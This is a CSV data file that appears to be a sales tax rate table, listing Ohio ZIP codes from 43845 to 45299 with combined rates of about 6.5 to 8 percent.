US-OH-43845,US,OH,43845,7.25,,,, US-OH-43901,US,OH,43901,7.25,,,, US-OH-43902,US,OH,43902,7.25,,,, US-OH-43903,US,OH,43903,7.25,,,, US-OH-43905,US,OH,43905,7.25,,,, US-OH-43906,US,OH,43906,7.25,,,, US-OH-43907,US,OH,43907,7.25,,,, US-OH-43908,US,OH,43908,7.25,,,, US-OH-43909,US,OH,43909,7.25,,,, US-OH-43910,US,OH,43910,7.25,,,, US-OH-43912,US,OH,43912,7.25,,,, US-OH-43913,US,OH,43913,7.25,,,, US-OH-43914,US,OH,43914,7.25,,,, US-OH-43915,US,OH,43915,7.25,,,, US-OH-43916,US,OH,43916,7.25,,,, US-OH-43917,US,OH,43917,7.25,,,, US-OH-43920,US,OH,43920,7.25,,,, US-OH-43925,US,OH,43925,7.25,,,, US-OH-43926,US,OH,43926,7.25,,,, US-OH-43927,US,OH,43927,7.25,,,, US-OH-43928,US,OH,43928,7.25,,,, US-OH-43930,US,OH,43930,7.25,,,, US-OH-43931,US,OH,43931,7.25,,,, US-OH-43932,US,OH,43932,7.25,,,, US-OH-43933,US,OH,43933,7.25,,,, US-OH-43934,US,OH,43934,7.25,,,, US-OH-43935,US,OH,43935,7.25,,,, US-OH-43937,US,OH,43937,7.25,,,, US-OH-43938,US,OH,43938,7.25,,,, US-OH-43939,US,OH,43939,7.25,,,, US-OH-43940,US,OH,43940,7.25,,,, US-OH-43941,US,OH,43941,7.25,,,, US-OH-43942,US,OH,43942,7.25,,,, US-OH-43943,US,OH,43943,7.25,,,, US-OH-43944,US,OH,43944,7.25,,,, US-OH-43945,US,OH,43945,7.25,,,, US-OH-43946,US,OH,43946,7.25,,,, US-OH-43947,US,OH,43947,7.25,,,, US-OH-43948,US,OH,43948,7.25,,,, US-OH-43950,US,OH,43950,7.25,,,, US-OH-43951,US,OH,43951,7.25,,,, US-OH-43952,US,OH,43952,7.25,,,, US-OH-43953,US,OH,43953,7.25,,,, US-OH-43961,US,OH,43961,7.25,,,, US-OH-43962,US,OH,43962,7.25,,,, US-OH-43963,US,OH,43963,7.25,,,, US-OH-43964,US,OH,43964,7.25,,,, US-OH-43967,US,OH,43967,7.25,,,, US-OH-43968,US,OH,43968,7.25,,,, US-OH-43970,US,OH,43970,7.25,,,, US-OH-43971,US,OH,43971,7.25,,,, US-OH-43972,US,OH,43972,7.25,,,, US-OH-43973,US,OH,43973,7.25,,,, US-OH-43974,US,OH,43974,7.25,,,, US-OH-43976,US,OH,43976,7.25,,,, US-OH-43977,US,OH,43977,7.25,,,, US-OH-43981,US,OH,43981,7.25,,,, US-OH-43983,US,OH,43983,7.25,,,, US-OH-43984,US,OH,43984,7.25,,,, US-OH-43985,US,OH,43985,7.25,,,, US-OH-43986,US,OH,43986,7.25,,,, US-OH-43988,US,OH,43988,7.25,,,, US-OH-44001,US,OH,44001,6.5,,,, US-OH-44003,US,OH,44003,6.75,,,, US-OH-44004,US,OH,44004,6.75,,,, US-OH-44005,US,OH,44005,6.75,,,, US-OH-44010,US,OH,44010,6.75,,,, US-OH-44011,US,OH,44011,6.5,,,, US-OH-44012,US,OH,44012,6.5,,,, US-OH-44017,US,OH,44017,8,,,, US-OH-44021,US,OH,44021,6.75,,,, US-OH-44022,US,OH,44022,8,,,, US-OH-44023,US,OH,44023,6.75,,,, US-OH-44024,US,OH,44024,6.75,,,, US-OH-44026,US,OH,44026,6.75,,,, US-OH-44028,US,OH,44028,6.5,,,, US-OH-44030,US,OH,44030,6.75,,,, US-OH-44032,US,OH,44032,6.75,,,, US-OH-44033,US,OH,44033,6.75,,,, US-OH-44035,US,OH,44035,6.5,,,, US-OH-44036,US,OH,44036,6.5,,,, US-OH-44039,US,OH,44039,6.5,,,, US-OH-44040,US,OH,44040,8,,,, US-OH-44041,US,OH,44041,6.75,,,, US-OH-44044,US,OH,44044,6.5,,,, US-OH-44045,US,OH,44045,7,,,, US-OH-44046,US,OH,44046,6.75,,,, US-OH-44047,US,OH,44047,6.75,,,, US-OH-44048,US,OH,44048,6.75,,,, US-OH-44049,US,OH,44049,6.5,,,, US-OH-44050,US,OH,44050,6.5,,,, US-OH-44052,US,OH,44052,6.5,,,, US-OH-44053,US,OH,44053,6.5,,,, US-OH-44054,US,OH,44054,6.5,,,, US-OH-44055,US,OH,44055,6.5,,,, US-OH-44056,US,OH,44056,6.75,,,, US-OH-44057,US,OH,44057,7,,,, US-OH-44060,US,OH,44060,7,,,, US-OH-44061,US,OH,44061,7,,,, US-OH-44062,US,OH,44062,6.75,,,, US-OH-44064,US,OH,44064,6.75,,,, US-OH-44065,US,OH,44065,6.75,,,, US-OH-44067,US,OH,44067,6.75,,,, US-OH-44068,US,OH,44068,6.75,,,, US-OH-44070,US,OH,44070,8,,,, US-OH-44072,US,OH,44072,6.75,,,, US-OH-44073,US,OH,44073,6.75,,,, US-OH-44074,US,OH,44074,6.5,,,, US-OH-44076,US,OH,44076,6.75,,,, US-OH-44077,US,OH,44077,7,,,, US-OH-44080,US,OH,44080,6.75,,,, US-OH-44081,US,OH,44081,7,,,, US-OH-44082,US,OH,44082,6.75,,,, US-OH-44084,US,OH,44084,6.75,,,, US-OH-44085,US,OH,44085,6.75,,,, US-OH-44086,US,OH,44086,6.75,,,, US-OH-44087,US,OH,44087,6.75,,,, US-OH-44088,US,OH,44088,6.75,,,, US-OH-44089,US,OH,44089,7.25,,,, US-OH-44090,US,OH,44090,6.5,,,, US-OH-44092,US,OH,44092,7,,,, US-OH-44093,US,OH,44093,6.75,,,, US-OH-44094,US,OH,44094,7,,,, US-OH-44095,US,OH,44095,7,,,, US-OH-44096,US,OH,44096,7,,,, US-OH-44097,US,OH,44097,7,,,, US-OH-44099,US,OH,44099,6.75,,,, US-OH-44101,US,OH,44101,8,,,, US-OH-44102,US,OH,44102,8,,,, US-OH-44103,US,OH,44103,8,,,, US-OH-44104,US,OH,44104,8,,,, US-OH-44105,US,OH,44105,8,,,, US-OH-44106,US,OH,44106,8,,,, US-OH-44107,US,OH,44107,8,,,, US-OH-44108,US,OH,44108,8,,,, US-OH-44109,US,OH,44109,8,,,, US-OH-44110,US,OH,44110,8,,,, US-OH-44111,US,OH,44111,8,,,, US-OH-44112,US,OH,44112,8,,,, US-OH-44113,US,OH,44113,8,,,, US-OH-44114,US,OH,44114,8,,,, US-OH-44115,US,OH,44115,8,,,, US-OH-44116,US,OH,44116,8,,,, US-OH-44117,US,OH,44117,8,,,, US-OH-44118,US,OH,44118,8,,,, US-OH-44119,US,OH,44119,8,,,, US-OH-44120,US,OH,44120,8,,,, US-OH-44121,US,OH,44121,8,,,, US-OH-44122,US,OH,44122,8,,,, US-OH-44123,US,OH,44123,8,,,, US-OH-44124,US,OH,44124,8,,,, US-OH-44125,US,OH,44125,8,,,, US-OH-44126,US,OH,44126,8,,,, US-OH-44127,US,OH,44127,8,,,, US-OH-44128,US,OH,44128,8,,,, US-OH-44129,US,OH,44129,8,,,, US-OH-44130,US,OH,44130,8,,,, US-OH-44131,US,OH,44131,8,,,, US-OH-44132,US,OH,44132,8,,,, US-OH-44133,US,OH,44133,8,,,, US-OH-44134,US,OH,44134,8,,,, US-OH-44135,US,OH,44135,8,,,, US-OH-44136,US,OH,44136,8,,,, US-OH-44137,US,OH,44137,8,,,, US-OH-44138,US,OH,44138,8,,,, US-OH-44139,US,OH,44139,8,,,, US-OH-44140,US,OH,44140,8,,,, US-OH-44141,US,OH,44141,8,,,, US-OH-44142,US,OH,44142,8,,,, US-OH-44143,US,OH,44143,8,,,, US-OH-44144,US,OH,44144,8,,,, US-OH-44145,US,OH,44145,8,,,, US-OH-44146,US,OH,44146,8,,,, US-OH-44147,US,OH,44147,8,,,, US-OH-44149,US,OH,44149,8,,,, US-OH-44181,US,OH,44181,8,,,, US-OH-44188,US,OH,44188,8,,,, US-OH-44190,US,OH,44190,8,,,, US-OH-44191,US,OH,44191,8,,,, US-OH-44192,US,OH,44192,8,,,, US-OH-44193,US,OH,44193,8,,,, US-OH-44194,US,OH,44194,8,,,, US-OH-44195,US,OH,44195,8,,,, US-OH-44197,US,OH,44197,8,,,, US-OH-44198,US,OH,44198,8,,,, US-OH-44199,US,OH,44199,8,,,, US-OH-44201,US,OH,44201,7,,,, US-OH-44202,US,OH,44202,7,,,, US-OH-44203,US,OH,44203,6.75,,,, US-OH-44210,US,OH,44210,6.75,,,, US-OH-44211,US,OH,44211,7,,,, US-OH-44212,US,OH,44212,6.75,,,, US-OH-44214,US,OH,44214,6.5,,,, US-OH-44215,US,OH,44215,6.75,,,, US-OH-44216,US,OH,44216,6.75,,,, US-OH-44217,US,OH,44217,6.5,,,, US-OH-44221,US,OH,44221,6.75,,,, US-OH-44222,US,OH,44222,6.75,,,, US-OH-44223,US,OH,44223,6.75,,,, US-OH-44224,US,OH,44224,6.75,,,, US-OH-44230,US,OH,44230,6.5,,,, US-OH-44231,US,OH,44231,7,,,, US-OH-44232,US,OH,44232,6.75,,,, US-OH-44233,US,OH,44233,6.75,,,, US-OH-44234,US,OH,44234,7,,,, US-OH-44235,US,OH,44235,6.75,,,, US-OH-44236,US,OH,44236,6.75,,,, US-OH-44237,US,OH,44237,6.75,,,, US-OH-44240,US,OH,44240,7,,,, US-OH-44241,US,OH,44241,7,,,, US-OH-44242,US,OH,44242,7,,,, US-OH-44243,US,OH,44243,7,,,, US-OH-44250,US,OH,44250,6.75,,,, US-OH-44251,US,OH,44251,6.75,,,, US-OH-44253,US,OH,44253,6.75,,,, US-OH-44254,US,OH,44254,6.75,,,, US-OH-44255,US,OH,44255,7,,,, US-OH-44256,US,OH,44256,6.75,,,, US-OH-44258,US,OH,44258,6.75,,,, US-OH-44260,US,OH,44260,7,,,, US-OH-44262,US,OH,44262,6.75,,,, US-OH-44264,US,OH,44264,6.75,,,, US-OH-44265,US,OH,44265,7,,,, US-OH-44266,US,OH,44266,7,,,, US-OH-44270,US,OH,44270,6.5,,,, US-OH-44272,US,OH,44272,7,,,, US-OH-44273,US,OH,44273,6.75,,,, US-OH-44274,US,OH,44274,6.75,,,, US-OH-44275,US,OH,44275,6.75,,,, US-OH-44276,US,OH,44276,6.5,,,, US-OH-44278,US,OH,44278,6.75,,,, US-OH-44280,US,OH,44280,6.75,,,, US-OH-44281,US,OH,44281,6.75,,,, US-OH-44282,US,OH,44282,6.75,,,, US-OH-44285,US,OH,44285,7,,,, US-OH-44286,US,OH,44286,6.75,,,, US-OH-44287,US,OH,44287,6.5,,,, US-OH-44288,US,OH,44288,7,,,, US-OH-44301,US,OH,44301,6.75,,,, US-OH-44302,US,OH,44302,6.75,,,, US-OH-44303,US,OH,44303,6.75,,,, US-OH-44304,US,OH,44304,6.75,,,, US-OH-44305,US,OH,44305,6.75,,,, US-OH-44306,US,OH,44306,6.75,,,, US-OH-44307,US,OH,44307,6.75,,,, US-OH-44308,US,OH,44308,6.75,,,, US-OH-44309,US,OH,44309,6.75,,,, US-OH-44310,US,OH,44310,6.75,,,, US-OH-44311,US,OH,44311,6.75,,,, US-OH-44312,US,OH,44312,6.75,,,, US-OH-44313,US,OH,44313,6.75,,,, US-OH-44314,US,OH,44314,6.75,,,, US-OH-44315,US,OH,44315,6.75,,,, US-OH-44316,US,OH,44316,6.75,,,, US-OH-44317,US,OH,44317,6.75,,,, US-OH-44319,US,OH,44319,6.75,,,, US-OH-44320,US,OH,44320,6.75,,,, US-OH-44321,US,OH,44321,6.75,,,, US-OH-44325,US,OH,44325,6.75,,,, US-OH-44326,US,OH,44326,6.75,,,, US-OH-44328,US,OH,44328,6.75,,,, US-OH-44333,US,OH,44333,6.75,,,, US-OH-44334,US,OH,44334,6.75,,,, US-OH-44372,US,OH,44372,6.75,,,, US-OH-44396,US,OH,44396,6.75,,,, US-OH-44398,US,OH,44398,6.75,,,, US-OH-44401,US,OH,44401,7,,,, US-OH-44402,US,OH,44402,6.75,,,, US-OH-44403,US,OH,44403,6.75,,,, US-OH-44404,US,OH,44404,6.75,,,, US-OH-44405,US,OH,44405,7,,,, US-OH-44406,US,OH,44406,7,,,, US-OH-44408,US,OH,44408,7.25,,,, US-OH-44410,US,OH,44410,6.75,,,, US-OH-44411,US,OH,44411,7,,,, US-OH-44412,US,OH,44412,7,,,, US-OH-44413,US,OH,44413,7.25,,,, US-OH-44415,US,OH,44415,7.25,,,, US-OH-44416,US,OH,44416,7,,,, US-OH-44417,US,OH,44417,6.75,,,, US-OH-44418,US,OH,44418,6.75,,,, US-OH-44420,US,OH,44420,6.75,,,, US-OH-44422,US,OH,44422,7,,,, US-OH-44423,US,OH,44423,7.25,,,, US-OH-44424,US,OH,44424,6.75,,,, US-OH-44425,US,OH,44425,6.75,,,, US-OH-44427,US,OH,44427,7.25,,,, US-OH-44428,US,OH,44428,6.75,,,, US-OH-44429,US,OH,44429,7,,,, US-OH-44430,US,OH,44430,6.75,,,, US-OH-44431,US,OH,44431,7.25,,,, US-OH-44432,US,OH,44432,7.25,,,, US-OH-44436,US,OH,44436,7,,,, US-OH-44437,US,OH,44437,6.75,,,, US-OH-44438,US,OH,44438,6.75,,,, US-OH-44439,US,OH,44439,6.75,,,, US-OH-44440,US,OH,44440,6.75,,,, US-OH-44441,US,OH,44441,7.25,,,, US-OH-44442,US,OH,44442,7,,,, US-OH-44443,US,OH,44443,7,,,, US-OH-44444,US,OH,44444,6.75,,,, US-OH-44445,US,OH,44445,7.25,,,, US-OH-44446,US,OH,44446,6.75,,,, US-OH-44449,US,OH,44449,7,,,, US-OH-44450,US,OH,44450,6.75,,,, US-OH-44451,US,OH,44451,7,,,, US-OH-44452,US,OH,44452,7,,,, US-OH-44453,US,OH,44453,6.75,,,, US-OH-44454,US,OH,44454,7,,,, US-OH-44455,US,OH,44455,7.25,,,, US-OH-44460,US,OH,44460,7.25,,,, US-OH-44470,US,OH,44470,6.75,,,, US-OH-44471,US,OH,44471,7,,,, US-OH-44473,US,OH,44473,6.75,,,, US-OH-44481,US,OH,44481,6.75,,,, US-OH-44482,US,OH,44482,6.75,,,, US-OH-44483,US,OH,44483,6.75,,,, US-OH-44484,US,OH,44484,6.75,,,, US-OH-44485,US,OH,44485,6.75,,,, US-OH-44486,US,OH,44486,6.75,,,, US-OH-44488,US,OH,44488,6.75,,,, US-OH-44490,US,OH,44490,7.25,,,, US-OH-44491,US,OH,44491,6.75,,,, US-OH-44492,US,OH,44492,7.25,,,, US-OH-44493,US,OH,44493,7.25,,,, US-OH-44501,US,OH,44501,7,,,, US-OH-44502,US,OH,44502,7,,,, US-OH-44503,US,OH,44503,7,,,, US-OH-44504,US,OH,44504,7,,,, US-OH-44505,US,OH,44505,7,,,, US-OH-44506,US,OH,44506,7,,,, US-OH-44507,US,OH,44507,7,,,, US-OH-44509,US,OH,44509,7,,,, US-OH-44510,US,OH,44510,7,,,, US-OH-44511,US,OH,44511,7,,,, US-OH-44512,US,OH,44512,7,,,, US-OH-44513,US,OH,44513,7,,,, US-OH-44514,US,OH,44514,7,,,, US-OH-44515,US,OH,44515,7,,,, US-OH-44555,US,OH,44555,7,,,, US-OH-44601,US,OH,44601,6.5,,,, US-OH-44606,US,OH,44606,6.5,,,, US-OH-44607,US,OH,44607,6.75,,,, US-OH-44608,US,OH,44608,6.5,,,, US-OH-44609,US,OH,44609,7,,,, US-OH-44610,US,OH,44610,6.75,,,, US-OH-44611,US,OH,44611,6.75,,,, US-OH-44612,US,OH,44612,6.75,,,, US-OH-44613,US,OH,44613,6.5,,,, US-OH-44614,US,OH,44614,6.5,,,, US-OH-44615,US,OH,44615,6.75,,,, US-OH-44617,US,OH,44617,6.75,,,, US-OH-44618,US,OH,44618,6.5,,,, US-OH-44619,US,OH,44619,7,,,, US-OH-44620,US,OH,44620,6.75,,,, US-OH-44621,US,OH,44621,6.75,,,, US-OH-44622,US,OH,44622,6.75,,,, US-OH-44624,US,OH,44624,6.75,,,, US-OH-44625,US,OH,44625,7.25,,,, US-OH-44626,US,OH,44626,6.5,,,, US-OH-44627,US,OH,44627,6.5,,,, US-OH-44628,US,OH,44628,6.75,,,, US-OH-44629,US,OH,44629,6.75,,,, US-OH-44630,US,OH,44630,6.5,,,, US-OH-44632,US,OH,44632,6.5,,,, US-OH-44633,US,OH,44633,6.75,,,, US-OH-44634,US,OH,44634,7.25,,,, US-OH-44636,US,OH,44636,6.5,,,, US-OH-44637,US,OH,44637,6.75,,,, US-OH-44638,US,OH,44638,6.75,,,, US-OH-44639,US,OH,44639,6.75,,,, US-OH-44640,US,OH,44640,6.5,,,, US-OH-44641,US,OH,44641,6.5,,,, US-OH-44643,US,OH,44643,6.5,,,, US-OH-44644,US,OH,44644,6.75,,,, US-OH-44645,US,OH,44645,6.5,,,, US-OH-44646,US,OH,44646,6.5,,,, US-OH-44647,US,OH,44647,6.5,,,, US-OH-44648,US,OH,44648,6.5,,,, US-OH-44650,US,OH,44650,6.5,,,, US-OH-44651,US,OH,44651,6.75,,,, US-OH-44652,US,OH,44652,6.5,,,, US-OH-44653,US,OH,44653,6.75,,,, US-OH-44654,US,OH,44654,6.75,,,, US-OH-44656,US,OH,44656,6.75,,,, US-OH-44657,US,OH,44657,6.5,,,, US-OH-44659,US,OH,44659,6.5,,,, US-OH-44660,US,OH,44660,6.75,,,, US-OH-44661,US,OH,44661,6.75,,,, US-OH-44662,US,OH,44662,6.5,,,, US-OH-44663,US,OH,44663,6.75,,,, US-OH-44665,US,OH,44665,7.25,,,, US-OH-44666,US,OH,44666,6.5,,,, US-OH-44667,US,OH,44667,6.5,,,, US-OH-44669,US,OH,44669,6.5,,,, US-OH-44670,US,OH,44670,6.5,,,, US-OH-44671,US,OH,44671,6.75,,,, US-OH-44672,US,OH,44672,7,,,, US-OH-44675,US,OH,44675,6.75,,,, US-OH-44676,US,OH,44676,6.5,,,, US-OH-44677,US,OH,44677,6.5,,,, US-OH-44678,US,OH,44678,6.75,,,, US-OH-44679,US,OH,44679,6.75,,,, US-OH-44680,US,OH,44680,6.75,,,, US-OH-44681,US,OH,44681,6.75,,,, US-OH-44682,US,OH,44682,6.75,,,, US-OH-44683,US,OH,44683,6.75,,,, US-OH-44685,US,OH,44685,6.5,,,, US-OH-44687,US,OH,44687,6.75,,,, US-OH-44688,US,OH,44688,6.5,,,, US-OH-44689,US,OH,44689,6.5,,,, US-OH-44690,US,OH,44690,6.75,,,, US-OH-44691,US,OH,44691,6.5,,,, US-OH-44693,US,OH,44693,7.25,,,, US-OH-44695,US,OH,44695,7.25,,,, US-OH-44697,US,OH,44697,6.75,,,, US-OH-44699,US,OH,44699,7.25,,,, US-OH-44701,US,OH,44701,6.5,,,, US-OH-44702,US,OH,44702,6.5,,,, US-OH-44703,US,OH,44703,6.5,,,, US-OH-44704,US,OH,44704,6.5,,,, US-OH-44705,US,OH,44705,6.5,,,, US-OH-44706,US,OH,44706,6.5,,,, US-OH-44707,US,OH,44707,6.5,,,, US-OH-44708,US,OH,44708,6.5,,,, US-OH-44709,US,OH,44709,6.5,,,, US-OH-44710,US,OH,44710,6.5,,,, US-OH-44711,US,OH,44711,6.5,,,, US-OH-44714,US,OH,44714,6.5,,,, US-OH-44718,US,OH,44718,6.5,,,, US-OH-44720,US,OH,44720,6.5,,,, US-OH-44721,US,OH,44721,6.5,,,, US-OH-44730,US,OH,44730,6.5,,,, US-OH-44735,US,OH,44735,6.5,,,, US-OH-44750,US,OH,44750,6.5,,,, US-OH-44767,US,OH,44767,6.5,,,, US-OH-44799,US,OH,44799,6.5,,,, US-OH-44802,US,OH,44802,7.25,,,, US-OH-44804,US,OH,44804,6.75,,,, US-OH-44805,US,OH,44805,7,,,, US-OH-44807,US,OH,44807,7.25,,,, US-OH-44809,US,OH,44809,7.25,,,, US-OH-44811,US,OH,44811,7.25,,,, US-OH-44813,US,OH,44813,7,,,, US-OH-44814,US,OH,44814,7.25,,,, US-OH-44815,US,OH,44815,7.25,,,, US-OH-44816,US,OH,44816,7.25,,,, US-OH-44817,US,OH,44817,6.75,,,, US-OH-44818,US,OH,44818,7.25,,,, US-OH-44820,US,OH,44820,7.25,,,, US-OH-44822,US,OH,44822,7,,,, US-OH-44824,US,OH,44824,7.25,,,, US-OH-44825,US,OH,44825,7.25,,,, US-OH-44826,US,OH,44826,7.25,,,, US-OH-44827,US,OH,44827,7.25,,,, US-OH-44828,US,OH,44828,7.25,,,, US-OH-44830,US,OH,44830,7.25,,,, US-OH-44833,US,OH,44833,7.25,,,, US-OH-44836,US,OH,44836,7.25,,,, US-OH-44837,US,OH,44837,7.25,,,, US-OH-44838,US,OH,44838,7,,,, US-OH-44839,US,OH,44839,7.25,,,, US-OH-44840,US,OH,44840,7,,,, US-OH-44841,US,OH,44841,7.25,,,, US-OH-44842,US,OH,44842,7,,,, US-OH-44843,US,OH,44843,7,,,, US-OH-44844,US,OH,44844,7.25,,,, US-OH-44845,US,OH,44845,7.25,,,, US-OH-44846,US,OH,44846,7.25,,,, US-OH-44847,US,OH,44847,7.25,,,, US-OH-44848,US,OH,44848,7,,,, US-OH-44849,US,OH,44849,7.25,,,, US-OH-44850,US,OH,44850,7.25,,,, US-OH-44851,US,OH,44851,7.25,,,, US-OH-44853,US,OH,44853,7.25,,,, US-OH-44854,US,OH,44854,7.25,,,, US-OH-44855,US,OH,44855,7.25,,,, US-OH-44856,US,OH,44856,7.25,,,, US-OH-44857,US,OH,44857,7.25,,,, US-OH-44859,US,OH,44859,7,,,, US-OH-44860,US,OH,44860,7.25,,,, US-OH-44861,US,OH,44861,7.25,,,, US-OH-44862,US,OH,44862,7,,,, US-OH-44864,US,OH,44864,7,,,, US-OH-44865,US,OH,44865,7,,,, US-OH-44866,US,OH,44866,7,,,, US-OH-44867,US,OH,44867,7.25,,,, US-OH-44870,US,OH,44870,7.25,,,, US-OH-44871,US,OH,44871,7.25,,,, US-OH-44874,US,OH,44874,7,,,, US-OH-44875,US,OH,44875,7,,,, US-OH-44878,US,OH,44878,7,,,, US-OH-44880,US,OH,44880,7,,,, US-OH-44881,US,OH,44881,7.25,,,, US-OH-44882,US,OH,44882,7.25,,,, US-OH-44883,US,OH,44883,7.25,,,, US-OH-44887,US,OH,44887,7.25,,,, US-OH-44888,US,OH,44888,7.25,,,, US-OH-44889,US,OH,44889,7.25,,,, US-OH-44890,US,OH,44890,7.25,,,, US-OH-44901,US,OH,44901,7,,,, US-OH-44902,US,OH,44902,7,,,, US-OH-44903,US,OH,44903,7,,,, US-OH-44904,US,OH,44904,7,,,, US-OH-44905,US,OH,44905,7,,,, US-OH-44906,US,OH,44906,7,,,, US-OH-44907,US,OH,44907,7,,,, US-OH-45001,US,OH,45001,6.75,,,, US-OH-45002,US,OH,45002,6.75,,,, US-OH-45003,US,OH,45003,7.25,,,, US-OH-45004,US,OH,45004,6.5,,,, US-OH-45005,US,OH,45005,6.75,,,, US-OH-45011,US,OH,45011,6.5,,,, US-OH-45012,US,OH,45012,6.5,,,, US-OH-45013,US,OH,45013,6.5,,,, US-OH-45014,US,OH,45014,6.5,,,, US-OH-45015,US,OH,45015,6.5,,,, US-OH-45018,US,OH,45018,6.5,,,, US-OH-45030,US,OH,45030,6.75,,,, US-OH-45032,US,OH,45032,6.75,,,, US-OH-45033,US,OH,45033,6.75,,,, US-OH-45034,US,OH,45034,6.75,,,, US-OH-45036,US,OH,45036,6.75,,,, US-OH-45039,US,OH,45039,6.75,,,, US-OH-45040,US,OH,45040,6.75,,,, US-OH-45041,US,OH,45041,6.75,,,, US-OH-45042,US,OH,45042,6.5,,,, US-OH-45044,US,OH,45044,6.5,,,, US-OH-45050,US,OH,45050,6.5,,,, US-OH-45051,US,OH,45051,6.75,,,, US-OH-45052,US,OH,45052,6.75,,,, US-OH-45053,US,OH,45053,6.5,,,, US-OH-45054,US,OH,45054,6.75,,,, US-OH-45055,US,OH,45055,6.5,,,, US-OH-45056,US,OH,45056,6.5,,,, US-OH-45061,US,OH,45061,6.5,,,, US-OH-45062,US,OH,45062,6.5,,,, US-OH-45063,US,OH,45063,6.5,,,, US-OH-45064,US,OH,45064,7.25,,,, US-OH-45065,US,OH,45065,6.75,,,, US-OH-45066,US,OH,45066,6.75,,,, US-OH-45067,US,OH,45067,6.5,,,, US-OH-45068,US,OH,45068,6.75,,,, US-OH-45069,US,OH,45069,6.5,,,, US-OH-45070,US,OH,45070,7.25,,,, US-OH-45071,US,OH,45071,6.5,,,, US-OH-45101,US,OH,45101,7.25,,,, US-OH-45102,US,OH,45102,6.75,,,, US-OH-45103,US,OH,45103,6.75,,,, US-OH-45105,US,OH,45105,7.25,,,, US-OH-45106,US,OH,45106,6.75,,,, US-OH-45107,US,OH,45107,7.25,,,, US-OH-45111,US,OH,45111,6.75,,,, US-OH-45112,US,OH,45112,6.75,,,, US-OH-45113,US,OH,45113,7.25,,,, US-OH-45114,US,OH,45114,7.25,,,, US-OH-45115,US,OH,45115,7.25,,,, US-OH-45118,US,OH,45118,7.25,,,, US-OH-45119,US,OH,45119,7.25,,,, US-OH-45120,US,OH,45120,6.75,,,, US-OH-45121,US,OH,45121,7.25,,,, US-OH-45122,US,OH,45122,6.75,,,, US-OH-45123,US,OH,45123,7.25,,,, US-OH-45130,US,OH,45130,7.25,,,, US-OH-45131,US,OH,45131,7.25,,,, US-OH-45132,US,OH,45132,7.25,,,, US-OH-45133,US,OH,45133,7.25,,,, US-OH-45135,US,OH,45135,7.25,,,, US-OH-45138,US,OH,45138,7.25,,,, US-OH-45140,US,OH,45140,6.75,,,, US-OH-45142,US,OH,45142,7.25,,,, US-OH-45144,US,OH,45144,7.25,,,, US-OH-45146,US,OH,45146,7.25,,,, US-OH-45147,US,OH,45147,6.75,,,, US-OH-45148,US,OH,45148,7.25,,,, US-OH-45150,US,OH,45150,6.75,,,, US-OH-45152,US,OH,45152,6.75,,,, US-OH-45153,US,OH,45153,6.75,,,, US-OH-45154,US,OH,45154,7.25,,,, US-OH-45155,US,OH,45155,7.25,,,, US-OH-45156,US,OH,45156,6.75,,,, US-OH-45157,US,OH,45157,6.75,,,, US-OH-45158,US,OH,45158,6.75,,,, US-OH-45159,US,OH,45159,7.25,,,, US-OH-45160,US,OH,45160,6.75,,,, US-OH-45162,US,OH,45162,6.75,,,, US-OH-45164,US,OH,45164,7.25,,,, US-OH-45166,US,OH,45166,7.25,,,, US-OH-45167,US,OH,45167,7.25,,,, US-OH-45168,US,OH,45168,7.25,,,, US-OH-45169,US,OH,45169,7.25,,,, US-OH-45171,US,OH,45171,7.25,,,, US-OH-45172,US,OH,45172,7.25,,,, US-OH-45174,US,OH,45174,6.75,,,, US-OH-45176,US,OH,45176,6.75,,,, US-OH-45177,US,OH,45177,7.25,,,, US-OH-45201,US,OH,45201,6.75,,,, US-OH-45202,US,OH,45202,6.75,,,, US-OH-45203,US,OH,45203,6.75,,,, US-OH-45204,US,OH,45204,6.75,,,, US-OH-45205,US,OH,45205,6.75,,,, US-OH-45206,US,OH,45206,6.75,,,, US-OH-45207,US,OH,45207,6.75,,,, US-OH-45208,US,OH,45208,6.75,,,, US-OH-45209,US,OH,45209,6.75,,,, US-OH-45211,US,OH,45211,6.75,,,, US-OH-45212,US,OH,45212,6.75,,,, US-OH-45213,US,OH,45213,6.75,,,, US-OH-45214,US,OH,45214,6.75,,,, US-OH-45215,US,OH,45215,6.75,,,, US-OH-45216,US,OH,45216,6.75,,,, US-OH-45217,US,OH,45217,6.75,,,, US-OH-45218,US,OH,45218,6.75,,,, US-OH-45219,US,OH,45219,6.75,,,, US-OH-45220,US,OH,45220,6.75,,,, US-OH-45221,US,OH,45221,6.75,,,, US-OH-45222,US,OH,45222,6.75,,,, US-OH-45223,US,OH,45223,6.75,,,, US-OH-45224,US,OH,45224,6.75,,,, US-OH-45225,US,OH,45225,6.75,,,, US-OH-45226,US,OH,45226,6.75,,,, US-OH-45227,US,OH,45227,6.75,,,, US-OH-45229,US,OH,45229,6.75,,,, US-OH-45230,US,OH,45230,6.75,,,, US-OH-45231,US,OH,45231,6.75,,,, US-OH-45232,US,OH,45232,6.75,,,, US-OH-45233,US,OH,45233,6.75,,,, US-OH-45234,US,OH,45234,6.75,,,, US-OH-45235,US,OH,45235,6.75,,,, US-OH-45236,US,OH,45236,6.75,,,, US-OH-45237,US,OH,45237,6.75,,,, US-OH-45238,US,OH,45238,6.75,,,, US-OH-45239,US,OH,45239,6.75,,,, US-OH-45240,US,OH,45240,6.75,,,, US-OH-45241,US,OH,45241,6.75,,,, US-OH-45242,US,OH,45242,6.75,,,, US-OH-45243,US,OH,45243,6.75,,,, US-OH-45244,US,OH,45244,6.75,,,, US-OH-45245,US,OH,45245,6.75,,,, US-OH-45246,US,OH,45246,6.75,,,, US-OH-45247,US,OH,45247,6.75,,,, US-OH-45248,US,OH,45248,6.75,,,, US-OH-45249,US,OH,45249,6.75,,,, US-OH-45250,US,OH,45250,6.75,,,, US-OH-45251,US,OH,45251,6.75,,,, US-OH-45252,US,OH,45252,6.75,,,, US-OH-45253,US,OH,45253,6.75,,,, US-OH-45254,US,OH,45254,6.75,,,, US-OH-45255,US,OH,45255,6.75,,,, US-OH-45258,US,OH,45258,6.75,,,, US-OH-45262,US,OH,45262,6.75,,,, US-OH-45263,US,OH,45263,6.75,,,, US-OH-45264,US,OH,45264,6.75,,,, US-OH-45267,US,OH,45267,6.75,,,, US-OH-45268,US,OH,45268,6.75,,,, US-OH-45269,US,OH,45269,6.75,,,, US-OH-45270,US,OH,45270,6.75,,,, US-OH-45271,US,OH,45271,6.75,,,, US-OH-45273,US,OH,45273,6.75,,,, US-OH-45274,US,OH,45274,6.75,,,, US-OH-45277,US,OH,45277,6.75,,,, US-OH-45280,US,OH,45280,6.75,,,, US-OH-45296,US,OH,45296,6.75,,,, US-OH-45298,US,OH,45298,6.75,,,, US-OH-45299,US,OH,45299,6.75,,,, 